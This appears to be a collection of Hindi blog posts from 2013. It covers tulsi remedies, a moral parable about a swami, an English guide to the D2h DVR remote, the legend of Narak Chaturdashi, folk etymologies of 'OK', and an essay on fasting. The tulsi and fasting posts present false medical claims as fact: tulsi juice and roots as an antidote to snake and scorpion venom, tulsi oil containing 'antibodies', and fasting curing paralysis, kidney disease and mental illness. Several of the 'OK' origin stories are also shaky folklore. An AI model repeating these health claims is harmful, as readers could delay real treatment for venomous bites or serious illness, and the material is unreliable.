1. तुलसी रस से बुखार उतर जाता है। इसे पानी में मिलाकर हर दो-तीन घंटे में पीने से बुखार कम हो जाता है।
2. कई आयुर्वेदिक कफ सिरप में तुलसी का इस्तेमाल अनिवार्य है।यह टी.बी,ब्रोंकाइटिस और दमा जैसे रोंगो के लिए भी फायदेमंद है।
3. जुकाम में इसके सादे पत्ते खाने से भी फायदा होता है।
4. सांप या बिच्छु के काटने पर इसकी पत्तियों का रस,फूल और जडे विष नाशक का काम करती हैं।
5. तुलसी के तेल में विटामिन सी,कै5रोटीन,कैल्शियम और फोस्फोरस प्रचुर मात्रा में होते हैं।
6. साथ ही इसमें एंटीबैक्टेरियल,एंटीफंगल और एंटीवायरल गुण भी होते हैं।
7. यह मधुमेह के रोगियों के लिए भी फायदेमंद है।साथ ही यह पाचन क्रिया को भी मज़बूत करती हैं।
8. तुलसी का तेल एंटी मलेरियल दवाई के तौर पर इस्तेमाल किया जा सकता है। एंटीबॉडी होने की वजह से यह हमारी इम्यूनिटी भी बढा देती है।
9. तुलसी के प्रयोग से हम स्वास्थय और सुंदरता दोनों को ही ठीक रख सकते हैं।
सावधानी :
फायदे जानने के बाद तुलसी के सेवन में अति कर देना नुकसानदायक साबित होगा। क्योंकि इसकी तासीर गर्म होती है इसलिए दिन भर में 10-12 पत्तों का ही सेवन करना चाहिए। खासतौर पर महिलाओं के लिए भले ही तुलसी एक वरदान की तरह है लेकिन फिर भी एक दिन में पांच तुलसी के पत्ते पर्याप्त हैं। हां, इसका सेवन छाछ या दही के साथ करने से इसका प्रभाव संतुलित हो जाता है। हालांकि यह आर्थराइटिस, एलर्जी, मैलिग्नोमा, मधुमेह, वायरल आदि रोगों में फायदा पहुंचाती है। लेकिन गर्भावस्था के दौरान इसके सेवन का ध्यान रखना जरूरी है। गर्भावस्था के दौरान अगर दर्द ज्यादा होता है तब तुलसी के काढे से फायदा पहुंच सकता है। इसमे तुलसी के पत्तो को रात भर पानी मे भिगो दें और सुबह उसे क्रश करके चीनी के साथ खाएं ब्रेस्ट- फीडिंग के दौरान भी तुलसी का काढा फायदेमंद होता है। इसके लिए बीस ग्राम तुलसी का रस और मकई के पत्तों रस मिलाएं, इसमें दस ग्राम अश्वगंधा रस और दस ग्राम शहद मिला कर खाएं। तुलसी बच्चेदानी को स्वास्थ रखने के लिए भी सहायक है। हां, एक बात ध्यान रहे कि आपके स्वास्थ पर तुलसी के अच्छे और बुरे दोनों प्रभाव पड सकते हैं इसलिए महिलाओं के लिए हो या बच्चों के लिए, बिना आयुर्वेदाचार्य से परामर्श लिए इसका इस्तेमाल न करे।
ध्यान रहे तुलसी पूजनीय हें , इसका अपमान / अनादर न करें।

कुसंस्कारो का त्याग , तभी सच्चे सुख और आनन्द की प्राप्ति

एक बार एक स्वामी जी भिक्षा माँगते हुए एक घर के सामने खड़े हुए और उन्होंने आवाज लगायी, भीक्षा दे दे माते!!
घर से महिला बाहर आयी। उसनेउनकी झोली मे भिक्षा डाली और कहा, “महात्माजी, कोई उपदेश दीजिए!”
स्वामीजी बोले, “आज नहीं, कल दूँगा।” दूस
रे दिन स्वामीजी ने पुन: उस घर के सामने आवाज दी – भीक्षा दे दे माते!!
उस घर की स्त्री ने उस दिन खीर बनायीं थी, जिसमे बादाम- पिस्ते भी डाले थे, वह खीर का कटोरा लेकर बाहर आयी। स्वामी जी ने अपना कमंडल आगे कर दिया।
वह स्त्री जब खीर डालने लगी, तो उसने देखा कि कमंडल में गोबर और कूड़ा भरा पड़ाहै।
उसके हाथ ठिठक गए। वह बोली, “महाराज ! यह कमंडल तो गन्दा है।”
स्वामीजी बोले, “हाँ, गन्दा तो है, किन्तु खीर इसमें डाल दो।”
स्त्री बोली, “नहीं महाराज,तब तो खीर ख़राब हो जायेगी । दीजिये यह कमंडल, में इसे शुद्ध कर लाती हूँ।”
स्वामीजी बोले, मतलब जब यह कमंडल साफ़ हो जायेगा, तभी खीर डालोगी न?” स्त्री ने कहा : “जी महाराज !”
स्वामीजी बोले, “मेरा भी यही उपदेश है। मन में जब तक चिन्ताओ का कूड़ा-कचरा और बुरे संस्करो का गोबर भरा है, तब तक उपदेशामृत का कोई लाभ न होगा।
यदि उपदेशामृत पान करना है,तो प्रथम अपने मन को शुद्ध करना चाहिए, कुसंस्कारो का त्याग करना चाहिए, तभी सच्चे सुख और आनन्द की प्राप्ति होगी।

Nov 4, 2013

D2h Dvr-Quick Guide!!!

D2h Dvr-Quick Guide!!!
I'm trying to give some features & functions of Videocon D2h-dvr.
Hope it will be useful for the Indian DTH members.
1}Universal remote control features...(Remote key functions)

Power(tv):To switch ur tv on or to make it standby.
Power:to switch satellite box on or standby.
Menu:gets u to the D2h menu.
Language:Helps in changing the language.
Favourite:To preset ur favourite programmes.
Tv/Av:To select between tv & av.
Mosaic:Shortcut key
Active:To open active service menu.
Guide:Gets u programme listings & schedules.
Mute:Switches sound on/off.
Info bar:To get information bar.
Ok:Helps u confirm the desired function.
Navigation keys:Helps u in navigate up,down,right&left.
Volume up/down:To adjust the volume level.
Channel up/down:Helps u in navigate through channels.
Back key:Helps in undo any function.
Exit:To exit from any menu.
Red,Green,Yellow,&Blue:Specific function pads.
Ff:To fast forward a live paused program or a recorded programme.
Rewind:To rewind live or recorded programme.
Play/pause:To play & pause live tv.
Record:To record live content.
Stop:Stops the programme.
Slow:Plays programme in slow motion.
Skip back:Instant replay.
Skip forw:Jump forward.
Live:Jumps back to live tv.
Alpha num.keys:Offers different functions in different modes.
Home:Gets u to the home channel.
Help:Gets u to the help menu.

2}Process to configure Universal remote with normal tv remote:

Step1>Keeps the two remote with their front facing each other at a distance of 2 to 3 cm.
Step2>Press & hold 'OK'key & 'Digit 2'key on universal remote for a moment till 'OK'key starts blinking.
Step3>Now the universal remote is ready to learn the Tv remote keys.(e.g. If u want to programme 'STANDBY'key then first press'TV'(standby)key on universal remote & then press'STANDBY'key on the Tv remote.
Step4>'OK'key stops blinking & glows constantly,press'STANDBY'key on Tv remote.
Step5>'OK'key again starts blinking,it means the Universal remote has learnt the Standby function of Tv remote.
Step6>Repeat above steps 3 to 4 for programming other keys like,
Tv/av,Vol(+) & Vol(-) also Mute.


Note:To reset universal remote press'OK'key & 'Digit 1'key simultaneously for 2-3 seconds.

**छोटी दीपावली नरक चतुर्दशी**

**छोटी दीपावली नरक चतुर्दशी**
छोटी दीपावली नरक चतुर्दशी को कहा जाता है। इसे कार्तिक माह के कृष्ण पक्ष की चतुर्दशी तिथि को मनाया जाता है। इसे रूप चतुर्दशी भी कहा जाता है।

कारण या कथा- इस दिन के व्रत और पूजा के विषय मेँ कथा यह है कि रन्तिदेव नामक एक धर्मात्मा राजा थे। उन्होने कभी अनजाने मेँ भी कोई पाप नहीँ किया था लेकिन जब उनकी मृत्यु का समय आया तो यमदूत उनके प्राण लेने आ पहुँचें। उन्हेँ सामने देख राजा आश्चर्यचकित होकर बोले - हे दूत! "मैने कभी कोई पाप कर्म नहीँ किया है फिर आप लोग मुझे लेने क्योँ आए है?" राजा दूतोँ से बोले कि आपके यहाँ आने का तात्पर्य है कि मुझे नरक जाना होगा।अतः आप मुझ पर कृपा करके बताएँ कि मुझसे क्या अपराध हुआ है। राजा की विनयपूर्ण वाणी सुनकर यमदूत ने कहा कि एक बार आपके द्धार से एक ब्राह्राण भूखा लौट गया था। यह उसी पाप का फल है।
यह सुनकर राजा ने यमदूतोँ से कहा कि उन्हेँ अपनी भूल को सुधारने का एक मौका दिया जाए। यमदूत ने राजा की प्रार्थना पर उन्हेँ एक वर्ष की मोहलत दे दी। इसके बाद राजा ब्राह्राणोँ के पास गए और उन्हेँ अपनी परेशानी से अवगत कराया। राजा के पूछने पर बाह्राण बोले -हे राजन्! आपको कार्तिक मास के कृष्ण पक्ष की चतुर्दशी का व्रत करके ब्राह्राणोँ को भोजन कराना होगा। इसके बाद उनसे अपने अपराध की क्षमा याचना करनी होगी। राजा ने वैसा ही किया और वे अपने पाप कर्म से मुक्त होकर बैकुंठ को गए।
इस प्रकार उस दिन से पाप और नरक से मुक्ति हेतु मृत्युलोक मेँ कार्तिक कृष्ण चतुर्दशी का व्रत प्रचलित है।

क्रियाएँ- इस दिन संध्या के पश्चात् दीपक जलाकर यमराज जी से अकाल मृत्यु से मुक्ति व स्वास्थ्य सुरक्षा के लिए उपासना की जाती है।
इसके अतिरिक्त इस दिन सुबह शरीर पर उबटन लगाकर पानी मेँ चिचड़ी की पत्तियोँ को डालकर स्नान किया जाता है। इससे सुंदरता प्राप्त होती है।

ॐ नमो नारायण ~~

Nov 3, 2013

ओके का कैसे हुआ चलन?

ओके का कैसे हुआ चलन?

ओके
हेलो (Hello) के बाद अंग्रेज़ी का सब से ज़्यादा प्रयोग में आने वाला शब्द शायद ‘ओके’ (OK) है. और अगर इस शब्द की पृष्ट-भूमि खंगालिए तो विचित्र कहानियाँ सुनने को मिलती हैं.
हालांकि आज कल ओके को छोटा बड़ा हर कोई बिना हिचक बड़ी सहजता से प्रयोग में लाता है, लेकिन हम अपने नवयुवक पाठकों को इस बात से अवगत करा दें कि कुछ दशक पहले इस शब्द के साथ ऐसी स्थिति नहीं थी.
ख़ुद मेरे छात्र-जीवन के समय इस शब्द को बाज़ारी समझा जाता था.
हमें याद है कि हमारे दर्शनशास्त्र की कक्षा के प्रोफ़ेसर शाहिद अली ने एक छात्र को एक सौ बार ‘All Right’ लिखने और फिर उसको सौ बार बोलने की सज़ा दी थी, क्योंकि उस छात्र ने प्रोफ़ेसर साहेब की आज्ञा के पालन के लिए ‘OK Sir’ कह दिया था.
बाद में प्रो. शाहिद अली ने सारी क्लास को चेतावनी देते हुए कहा था कि ‘अगर किसी और ने भी अधिक ‘YANKEE’ बनने की कोशिश की तो उसकी भी वैसी ही दुर्दशा होगी’.
वैसे तो ‘यांकी’ शब्द ख़ुद भी अपना एक दिलचस्प इतिहास रखता है लेकिन उस पर आगे कभी बात करेंगे, आज हम अपनी बात ओके तक ही सीमित रखते हैं.

शुरुआत

ऐंड्रियु जैकसन
कहा जाता है कि अमरीकी राष्ट्रपति जैकसन ने इसका प्रयोग किया था.
इस शब्द की शुरूआत के बारे में सबसे आम ख़्याल तो यह है कि अमरीकी राष्ट्रपति ऐड्रू जैक्सन ने All Correct के स्थान पर उसके संक्षिप्त रूप oll correct के ग़लत हिज्जे अथवा ओके का चलन किया.
यह कहानी जब भारत और पाकिस्तान तक पहुंची तो लोगों ने राष्ट्रपति का पात्र बदल कर वहां जार्ज वाशिंगटन या अब्राहम लिंकन को ला बिठाया.
यह कहानी जितनी पॉपुलर है उतनी ग़लत भी है क्योंकि किसी अमरीकी राष्ट्रपति के संदर्भ में इस प्रकार की किसी हरकत का प्रमाण नहीं मिलता है.
इस से ज़रा अच्छी और विश्वसनिय कहानी राष्ट्रपति पद के एक उम्मीदवार के बारे में है जिसका चुनाव अभियान सन 1800 ई. के क़रीब शुरू हुआ था.
उम्मीदवार का पुश्तैनी गांव न्युयार्क राज्य में था और उसका नाम था Old Kinderhook. इसलिए उसके समर्थकों ने उसी नाम के प्रारंभ के अक्षरों को लेकर एक OK ग्रुप बना लिया, और हर ओर इसी शब्द को ख्याति दी.
अमरीकी रेलवे के शुरू के समय में एक पोस्टल कलर्क की भी दास्तान मिलती है जिसका नाम Obaidiah Kelly था और हर पार्सल पर निशानी के लिए वह अपने नाम के प्रारंभ के अक्षर OK दर्ज कर देता था और वहीं से इस शब्द ने प्रसिद्धि प्राप्त की.

मज़बूत दलील

रेड इंडियन
एक मज़बूत दलील ये भी है कि ओके किसी रेड इंडियन भाषा से आया है.
लेकिन इन कहानियों से कहीं अधिक सशक्त दलील यह मालूम होती है कि OK किसी रेड इंडियन भाषा का शब्द है.
ज्ञात रहे कि अमेरिका में आज तक रेड इंडियन भाषा के बहुत से शब्द प्रयोग किए जाते हैं. ख़ुद अमेरीकी राज्यों में से आधे राज्यों का नाम रेड इंडियन है. उदाहरणस्वरूप ओकलाहामा, डकोटा, उडाहो, विस्किनसन, उहायो, टेनेसी—यह सब रेड इंडियन नाम हैं.
कहा जाता है कि रेड इंडियन क़बीले चटकाव का सरदार एक दिन क़बीले के प्रतिनिधियों की बात सुन रहा था और हर बात पर ‘ओके, ओके’ कहता जाता था जिस का अर्थ था ‘हां ठीक है’.
किसी अमेरीकी पर्यटक ने इस घटना को देख लिया और फिर अपने साथियों में इस शब्द को प्रचलित कर दिया.
OK एक ऐसा शब्द है जिसे अमरीका वाले शुद्ध अमरीकी शब्द मानेते हैं क्योंकि यह शब्द अंग्रेज़ी भाषा के साथ इंगलिस्तान से वहां नहीं पहुंचा था बलकि यह अमेरीका की अपनी पैदावार है.
अगरचे पिछले तीस-चालीस वर्षों में इस शब्द को बाज़ारी बोलचाल से संजीदा लेखन में आने का रुतबा मिल चुका है और अब कोई शिक्षक उसके प्रयोग करने पर किसी क्षात्र को सज़ा नहीं देता है लेकिन कुछ शरारती क्षात्रों ने उस्तादों को गुस्सा दिलाने के लिए इस की बिगड़ी हुई शक्ल ‘ओकी’ और ‘ओकी.डोकी’ जैसे ऊटपटांग शब्द गढ़ लिए हैं.

Oct 26, 2013

उपवास

उपवास


विषय वासना निवृत्ति का अचूक साधन
अन्न में भी एक प्रकार का नशा होता है। भोजन करने के तत्काल बाद आलस्य के रूप में इस नशे का प्रायः सभी लोग अनुभव करते हैं। पके हुए अन्न के नशे में एक प्रकार की पार्थिव शक्ति निहित होती है, जो पार्थिव शरीर का संयोग पाकर दुगनी हो जाती है। इस शक्ति को शास्त्रकारों ने आधिभौतिक शक्ति कहा है।
इस शक्ति की प्रबलता में वह आध्यात्मिक शक्ति, जो हम पूजा उपासना के माध्यम से एकत्रित करना चाहते हैं, नष्ट हो जाती है। अतः भारतीय महर्षियों ने सम्पूर्ण आध्यात्मिक अनुष्ठानों में उपवास का प्रथम स्थान रखा है।
विषय विनिवर्तन्ते निराहारस्य देहिनः।
गीता के अनुसार उपवास, विषय-वासना की निवृत्ति का अचूक साधन है। जिसका पेट खाली हो उसे फालतू की मटरगस्ती नहीं सझती। अतः शरीर, इन्द्रियों और मन पर विजय पाने के लिए जितासन और जिताहार होने की परम आवश्यकता है।
आयुर्वेद तथा आधुनिक विज्ञान दोनों का एक ही निष्कर्ष है कि व्रत और उपवासों जहाँ अनेक शारीरिक व्याधियाँ समूल नष्ट हो जाती हैं, वहाँ मानसिक व्याधियों के शमन का भी यह एक अमोघ उपाय है। इससे जठराग्नि प्रदीप्त होती है व शरीरशुद्धि होती है।
फलाहार का तात्पर्य उस दिन आहार में सिर्फ कुछ फलों का सेवन करने से है लेकिन आज इसका अर्थ बदलकर फलाहार में से अपभ्रंश होकर फरियाल बन गया है और इस फरियाल में लोग ठूँस-ठूँसकर साबुदाने की खिचड़ी या भोजन से भी अधिक भारी, गरिष्ठ, चिकना, तला-गुला व मिर्च मसाले युक्त आहार का सेवन करने लगे हैं। उनसे अनुरोध है कि वे उपवास न ही करें तो अच्छा है क्योंकि इससे उपवास जैसे पवित्र शब्द की तो बदनामी होती है, साथ ही साथ शरीर को और अधिक नुक्सान पहुँचता है। उनके इस अविवेकपूर्ण कृत्य से लाभ के बदले उन्हें हानि ही हो रही है।
सप्ताह में एक दिन तो व्रत रखना ही चाहिए। इससे आमाशय, यकृत एवं पाचनतंत्र को विश्राम मिलता है तथा उनकी स्वतः ही सफाई हो जाती है। इस प्रक्रिया से पाचनतंत्र मजबूत हो जाता है तथा व्यक्ति की आंतरिक शक्ति के साथ-साथ उसकी आयु भी बढ़ती है।
भारतीय जीवनचर्या में व्रत एवं उपवास का विशेष महत्त्व है। उनका अनुपालन धार्मिक दृष्टि से किया जाता है परंतु व्रतोपवास करने से शरीर भी स्वस्थ रहता है।
उप यानी समीप और वास यानी रहना। उपवास का आध्यात्मिक अर्थ है – ब्रह्म-परमात्मा के निकट रहना। उपवास का व्यावहारिक अर्थ है – निराहार रहना। निराहार रहने से भगवदभजन और आत्मचिंतन में मदद मिलती है। वृत्ति अंतर्मुख होने लगती है। उपवास पुण्यदायी, आमदोषहर, अग्निप्रदीपक, स्फूर्तिदायक तथा मन को प्रसन्नता देने वाला माना गया है। अतः यथाकाल, यथाविधि उपवास करके धर्म तथा स्वास्थ्य लाभ करना चाहिए।
आहारं पचति शिखी दोषान् आहारवर्जितः।
अर्थात् पेट की अग्नि आहार को पचाती है और उपवास दोषों को पचाता है। उपवास से पाचनशक्ति बढ़ती है। उपवासकाल में शरीर में क्या मल उत्पन्न नहीं होता और जीवनशक्ति को पुराना जमा मल निकालने का अवसर मिलता है। मल-मूत्र विसर्जन सम्यक होने लगता है, शरीर में हलकापन आता है तथा अति निद्रा-तन्द्रा का नाश होता है।
इसी कारण भारतवर्ष के सनातन धर्मावलम्बी प्रायः एकादशी, अमावस्या, पूर्णिमा या पर्वों पर उपवास किया करते हैं, क्योंकि उन दिनों जठराग्नि मंद होती है और सहज ही प्राणों का ऊर्ध्वगमन होता है। शरीर-शोधन के लिए चैत्र, श्रावण एवं भाद्रपद महीने अधिक महत्त्वपूर्ण होते हैं। नवरात्रियों के दिनों में भी व्रत करने का बहुत प्रचलन है। यह अनुभव से जाना गया है कि एकादशी से पूर्णिमा तथा एकादशी से अमावस्या तक का काल रोग की उग्रता में भी अधिक सहायक होता है, क्योंकि जैसे सूर्य एवं चन्द्रमा के परिभ्रमण के परिणामस्वरूप समुद्र में उक्त तिथियों के दिनों में विशेष उतार-चढ़ाव होता है, उसी प्रकार उक्त क्रिया के परिणामस्वरूप हमारे शरीर में रोगों की वृद्धि होती है। इसीलिए इन चार तिथियों में उपवास का विशेष महत्त्व है।
शारीरिक विकारः अजीर्ण, उलटी, मंदाग्नि, शरीर में भारीपन, सिरदर्द, बुखार, यकृत-विकार, श्वास रोग, मोटापा, संधिवात, सम्पूर्ण शरीर में सूजन, खाँसी, दस्त लगना, कब्जियत, पेटदर्द, मुँह में छाले, चमड़ी के रोग, गुर्दे के विकार, पक्षाघात आदि व्याधियों में रोग के अनुसार छोटे या बड़े रूप में उपवास रखना लाभकारी होता है।
मानसिक विकारः मन पर भी उपवास का बहुमुखी प्रभाव पड़ता है। उपवास से चित्त की वृत्तियाँ रुकती हैं और मनुष्य जब अपनी चित्त की वृत्तियों को रोकने लग जाता है, तब देह रहते हुए भी सुख-दुःख, हर्ष-विषाद पैदा नहीं होते। उपवास से सात्त्विक भाव बढ़ता है, राजस और तामस भाव का नाश होने लगता है। मनोबल तथा आत्मबल में वृद्धि होने लगती है। अतः अति निद्रा, तन्द्रा, उन्माद(पागलपन), बेचैनी, घबराहट, भयभीत या शोकातुर रहना, मन की दीनता, अप्रसन्नता, दुःख, क्रोध, शोक, ईर्ष्या आदि मानसिक रोगों में औषधोपचार सफल न होने पर उपवास विशेष लाभ देता है। इतना ही नहीं अपितु नियमित उपवास के द्वारा मानसिक विकारों की उत्पत्ति भी रोकी जा सकती है।
उपवास पद्धतिः इन दिनों पूर्ण विश्राम लेना चाहिए। मौन रह सके तो उत्तम। उपवास में हमेशा पहले एक दो दिन ही कठिन लगते हैं। कड़क उपवास एक दो बार ही कठिन ही लगता है फिर तो मन और शरीर, दोनों का औपवासिक स्थिति का अभ्यास हो जाता है उसमें आनंद आने लगता है।
सामान्यतः चार प्रकार के उपवास प्रचलित हैं- निराहार, फलाहार, दुग्धाहार और रूढ़िगत।
निराहारः निराहार व्रत श्रेष्ठ है। यह दो प्रकार का होता है – निर्जल एवं सजल। निर्जल व्रत में पानी का भी सेवन नहीं किया जाता। सजल व्रत में गुनगुना पानी अथवा गुनगुने पानी में नींबू का रस मिलाकर ले सकते हैं। इससे पेट में गैस नहीं बन पाती। ऐसा उपवास दो या तीन दिन रख सकते हैं। अधिक समय तक ऐसा उपवास करना हो तो चिकित्सक की देख-रेख में ही करना चाहिए। शरीर में कहीं भी दर्द हो तो नींबू का सेवन न करें।
फलाहारः इसमें केवल फल अथवा फलों के रस पर ही निर्वाह किया जाता है। उपवास के लिए अनार, अंगूर, सेब और पपीता ठीक हैं। इसके साथ गुनगुने पानी में नींबू का रस मिलाकर ले सकते हैं। नींबू से पाचन-तंत्र की सफाई में सहायता मिलती है। ऐसा उपवास 6-7 दिन से ज्यादा नहीं करना चाहिए।
दुग्धाहारः ऐसे उपवास में दिन में 3 से 8 बार मलाई-विहीन दूध 250 से 500 मि.ली. मात्रा में लिया जाता है। गाय का दूध उत्तम आहार है। मनुष्य को स्वस्थ व दीर्घजीवी बनानेवाला गाय के दूध जैसा दूसरा कोई श्रेष्ठ आहार नहीं है।
गाय का दूध जीर्णज्वर, ग्रहणी, पांडुरोग, यकृत के रोग, प्लीहा के रोग, दाह, हृदयरोग, रक्तपित्त आदि में श्रेष्ठ है। श्वास(दमा), क्षयरोग तथा पुरानी सर्दी के लिए बकरी का दूध उत्तम है।
रूढ़िगतः 24 घंटों में एक बार सादा, हलका, नमक, चीनी व चिकनाईरहित भोजन करें। इस एक बार के भोजन के अतिरिक्त किसी भी पदार्थ का सेवन न करें। केवल सादा पानी अथवा गुनगुने पानी में नींबू ले सकते हैं।
विशेषः जिन लोगों को हमेशा कफ, जुकाम, दमा, सूजन, जोड़ों में दर्द, निम्न रक्तचाप रहता हो वे नींबू का उपयोग न करें।
उपरोक्त उपवासों में केवल एक बात का ही ध्यान रखना आवश्यक है कि मल-मूत्र व पसीने का निष्कासन ठीक तरह से होता रहे, अन्यथा शरीर के अंगों से निकली हुई गंदगी फिर से रक्तप्रवाह में मिल सकती है। आवश्यक हो तो बाद में एनिमा का प्रयोग करें।
लोग उपवास तो कर लेते हैं, लेकिन उपवास छोड़ने के बाद क्या खाना चाहिए इस बात पर ध्यान नहीं देते, इसीलिए अधिक लाभ नहीं होता। जितने दिन उपवास करें, उपवास छोड़ने के बाद उतने ही दिन मूँग का पानी लेना चाहिए तथा उसके दुगने दिन तक मूँग उबालकर लेनी चाहिए। तत्पश्चात खिचड़ी, चावल आदि तथा बाद में सामान्य भोजन करना चाहिए।
उपवास के नाम पर व्रत के दिन आलू, अरबी, साग, केला, सिंघाड़े आदि का हलवा, खीर, पेड़े, बर्फी आदि गरिष्ठ भोजन भरपेट करने से रोगों की वृद्धि होती है। अतः इनका सेवन न करें।
सावधानीः गर्भवती स्त्री, क्षयरोगी, अल्सर व मिर्गी के रोगी को व अति कमजोर व्यक्ति को उपवास नहीं करना चाहिए। मधुमेह के मरीजों को वैद्यकीय सलाह से ही उपवास करने चाहिए।

शास्त्रों में अग्निहोत्री तथा ब्रह्मचारी को अनुपवास्य माना गया है।